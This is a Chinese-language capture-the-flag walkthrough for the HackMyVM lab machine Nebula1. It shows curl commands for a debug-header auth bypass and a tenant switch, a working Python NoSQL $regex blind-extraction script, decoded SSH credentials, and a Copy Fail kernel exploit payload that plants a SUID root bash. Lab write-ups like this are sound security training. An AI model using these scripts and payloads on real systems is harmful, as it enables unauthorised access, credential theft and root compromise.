跳到主要内容

HackMyVM Nebula1 通关记录|API Debug 绕过、NoSQL 盲注与 Copy Fail 提权

靶机链接:Nebula1


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Nebula1192.168.1.114

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp5000/tcp明确 API 服务是主攻击面
API 线索/ 注释泄露 Legacy API versions: /api/v1/指向版本化 API
认证绕过X-Sentinel-Debug: 1获得 admin-test token
信息泄露/api/v2/users/list 无认证确认租户、用户和平台模型
租户绕过请求体 tenant_id 可切换上下文从 engineering 切到 system
盲注提取/api/v2/vault/query 接受 $regex逐字符提取 secure_vault_key
初始访问base64 解出 nebula:N3bul@Adm1n2025!SSH 登录目标
提权Copy Fail 覆写 SUID su 页面缓存生成 SUID rootshell 并读取 root flag

0x02 侦察与信息收集 (Reconnaissance)

1. 端口与服务识别

先做 TCP 端口和服务识别:

rustscan -a 192.168.1.114 --ulimit 5000 -- -sC -sV

关键端口如下:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPApache/2.4.62 (Debian)
5000/tcpHTTP APIWerkzeug/3.1.4 Python/3.9.2

UDP Top 100 没有开放结果,主线可以先放在 TCP Web/API 面。

2. 80 端口 Web 页面

80 端口是一个静态的 Nebula Sentinel 企业密钥管理平台介绍页:

curl -s http://192.168.1.114/

页面没有登录表单,但直接列出了租户和 key 名称:

TenantKey
systemsecure_vault_key
financefinance_payment_gatewaytax_calculation_secret
hrpayroll_api_token
engineeringdevops_ci_cd_tokeninfra_monitoring_key

这一步最重要的不是页面功能,而是提前拿到后续 API 查询会用到的租户名和 key 名。

3. 5000 端口 API 根路径

curl -s http://192.168.1.114:5000/

返回:

Nebula Sentinel Internal API Service v2.5.1
<!-- Legacy API versions: /api/v1/ -->

注释泄露了 API 版本路径。接下来围绕 /api/v1//api/v2/ 枚举功能点。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. /api/v2/login Debug Header 认证绕过

先测试 v2 登录接口。这里容易被请求体里的 NoSQL payload 误导,但真正绕过认证的是 debug header:

curl -s -X POST \
-H 'Content-Type: application/json' \
-H 'X-Sentinel-Debug: 1' \
-d '{}' \
http://192.168.1.114:5000/api/v2/login

返回类似:

{
"access_level": "admin-test",
"message": "Shadow Debug Mode activated",
"tenant_id": "engineering",
"token": "0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537"
}

每次 debug 登录都会生成新的 64 位 hex token。上面是本次 WSL Ubuntu 复测时拿到的完整 token,默认属于 engineering 租户。后续手工命令直接沿用这个值;如果重新登录拿到了新 token,把 Authorization: Bearer 后面的值替换为新回包里的 token。

2. 用户与租户接口枚举

无认证访问。注意这个接口虽然不需要认证,但仍然是 JSON API,POST 时要带 Content-Type 和空 JSON body,否则容易返回 400 Bad Request415 Unsupported Media Type

curl -sS -X POST \
-H 'Content-Type: application/json' \
-d '{}' \
http://192.168.1.114:5000/api/v2/users/list

返回所有租户用户,是一个明显的信息泄露点:

{
"count": 5,
"users": [
{"access_level": "admin", "department": "IT Security", "tenant_id": "system", "username": "admin"},
{"access_level": "manager", "department": "Finance", "tenant_id": "finance", "username": "jdoe"},
{"access_level": "user", "department": "Human Resources", "tenant_id": "hr", "username": "asmith"},
{"access_level": "user", "department": "DevOps", "tenant_id": "engineering", "username": "mlee"},
{"access_level": "guest", "department": null, "tenant_id": "public", "username": "guest"}
]
}

带上 debug token 后,还可以访问租户列表:

curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{}' \
http://192.168.1.114:5000/api/v2/tenants

返回:

{"tenants": ["engineering", "finance", "hr", "public", "system"]}

3. Tenant 隔离绕过

/api/v2/users 会接受请求体里的 tenant_id,并把当前 token 的租户上下文切过去:

curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system"}' \
http://192.168.1.114:5000/api/v2/users

返回:

{
"count": 1,
"tenant_id": "system",
"users": [
{"access_level": "admin", "department": "IT Security", "username": "admin"}
]
}

切到 system 后,同一个 token 就可以访问 system 租户的 vault:

curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system"}' \
http://192.168.1.114:5000/api/v2/vault

返回:

{
"count": 1,
"vault_entries": [
{"description": "Master encryption key for internal services", "key": "secure_vault_key"}
]
}

4. /api/v2/vault/query NoSQL $regex 盲注

/api/v2/vault/queryvalue 字段接受对象,导致 $regex 可以进入后端查询。NoSQL $regex 布尔盲注的通用判断和脚本模板见知识库:NoSQL $regex 布尔盲注提取

最小验证:

curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system","key":"secure_vault_key","value":{"$regex":"^b"}}' \
http://192.168.1.114:5000/api/v2/vault/query

如果前缀匹配,返回:

{"match_count": 1}

如果不匹配,返回:

{"match_count": 0}

这就是一个布尔 oracle,可以逐字符恢复 key 值。


0x04 核心攻击链:盲注提取密钥到 SSH 初始访问

1. 自动获取 token 并切换租户

为了避免硬编码 token,可以先写一个自动 bootstrap:每次运行时拿 debug token,然后切到目标租户。

import requests

BASE = "http://192.168.1.114:5000"


def get_token(tenant="system"):
r = requests.post(
f"{BASE}/api/v2/login",
headers={"Content-Type": "application/json", "X-Sentinel-Debug": "1"},
json={},
timeout=10,
)
token = r.json()["token"]

requests.post(
f"{BASE}/api/v2/users",
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {token}",
},
json={"tenant_id": tenant},
timeout=10,
)
return token

2. $regex 前缀提取脚本

核心逻辑很短:测试 ^prefix 是否命中,命中就保留这个字符。注意必须用 re.escape() 转义正则元字符,否则遇到 +.? 等字符会误判。

#!/usr/bin/env python3
import re
import string
import requests

BASE = "http://192.168.1.114:5000"
CHARS = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*()-_=+[]{}|;:',.<>?/~` "


def get_token(tenant="system"):
r = requests.post(
f"{BASE}/api/v2/login",
headers={"Content-Type": "application/json", "X-Sentinel-Debug": "1"},
json={},
timeout=10,
)
token = r.json()["token"]
requests.post(
f"{BASE}/api/v2/users",
headers={"Content-Type": "application/json", "Authorization": f"Bearer {token}"},
json={"tenant_id": tenant},
timeout=10,
)
return token


def test_prefix(token, key, prefix):
payload = {
"tenant_id": "system",
"key": key,
"value": {"$regex": "^" + re.escape(prefix)},
}
r = requests.post(
f"{BASE}/api/v2/vault/query",
headers={"Content-Type": "application/json", "Authorization": f"Bearer {token}"},
json=payload,
timeout=10,
)
return r.json().get("match_count", 0) > 0


def brute_force_value(token, key, max_len=50):
prefix = ""
for _ in range(max_len):
for c in CHARS:
if test_prefix(token, key, prefix + c):
prefix += c
print(repr(prefix))
break
else:
break
return prefix


token = get_token("system")
print(brute_force_value(token, "secure_vault_key"))

提取结果:

bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE=

3. 解码 SSH 凭据

这串值是 base64:

echo 'bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE=' | base64 -d

输出:

nebula:N3bul@Adm1n2025!

4. SSH 登录

ssh nebula@192.168.1.114

密码:

N3bul@Adm1n2025!

登录后确认身份:

id
whoami
cat /proc/self/status | grep CapEff

观察到一个很特殊的状态:

uid=0(root) gid=0(root) groups=0(root)
root
CapEff: 0000000000000000

nebula 的 UID 是 0,但有效 capabilities 为空,直接读取 /root 仍然被拒绝:

ls /root
cat /root/root.txt

返回:

Permission denied

所以这里不能停在“拿到 UID 0”这一步,还需要继续找能保留 root 权限上下文的本地提权路径。


0x05 权限提升 (Privilege Escalation)

1. 本地枚举

先确认系统和内核:

uname -a
cat /etc/debian_version

内核是:

4.19.0-27-amd64

这个版本命中 Copy Fail / CVE-2026-31431 的影响范围。漏洞原理和常规利用方式见知识库:CVE-2026-31431 Copy Fail Linux 内核提权

2. 验证 Copy Fail

tgies/copy-fail-c 的 vulnerable 检测程序确认:

/tmp/copy-fail-c/build/redteam/vulnerable

输出:

[+] mutation verified -- kernel is VULNERABLE
EXIT:100

3. 自定义 payload:生成 SUID rootshell

默认 payload 往往是直接起 shell。这里更稳的方式是让 root 创建一个 SUID bash 副本:

#include "nolibc/nolibc.h"

int main(void) {
char *argv[] = {
"sh",
"-c",
"cp /bin/bash /tmp/rootshell && chown root:root /tmp/rootshell && chmod 4755 /tmp/rootshell",
(char *)NULL
};
char *envp[] = {(char *)NULL};
syscall(__NR_setgid, 0);
syscall(__NR_setuid, 0);
execve("/bin/sh", argv, envp);
return 1;
}

构建并执行 exploit:

make -C /tmp/tgies-copy-fail-c
/tmp/tgies-copy-fail-c/exploit

关键输出:

[+] target: /usr/bin/su
[+] payload: 1400 bytes
[+] page cache mutated; exec'ing target

Copy Fail 的核心是污染 /usr/bin/su 的页面缓存,而不是改磁盘文件。执行 su 时,内核加载被污染的页面,于是运行 payload 并创建 /tmp/rootshell

4. 使用 SUID bash 读取 root flag

这里必须带 -p

/tmp/rootshell -p -c 'id; cat /root/root.txt'

bash -p 会保留 effective UID;不加 -p 时,bash 会主动丢弃 SUID 权限。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/nebula/user.txt
  • 内容: flag{user-e524910706456c67218c8e0d0ae48d56}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-bfbed086118248f84854dddd7766eab0}

复盘总结

Nebula1 的重点不是传统 WebShell,而是 API 设计缺陷和本地内核提权的组合。

  1. Debug header 是真正认证绕过点。 请求体里的 NoSQL payload 容易吸引注意力,但 v2 登录实际先检查 X-Sentinel-Debug: 1,直接发放测试 token。
  2. Tenant 不能信请求体。 tenant_id 由客户端传入并改变 session 上下文,导致一个 engineering token 可以切到 system 租户读取核心密钥。
  3. NoSQL $regex 是布尔 oracle。 match_count1/0 足够逐字符提取敏感值,正则元字符必须转义,否则会误判。
  4. base64 不是保护。 secure_vault_key 解码后就是 SSH 凭据 nebula:N3bul@Adm1n2025!
  5. UID 0 不等于已经结束。 当前会话 CapEff 为空且无法读取 /root,必须继续找能恢复有效 root 权限的路径。
  6. Copy Fail 适合做稳定收尾。 通过污染 SUID su 页面缓存执行 payload,再生成 SUID bash;最终用 bash -p 保留权限读取 root flag。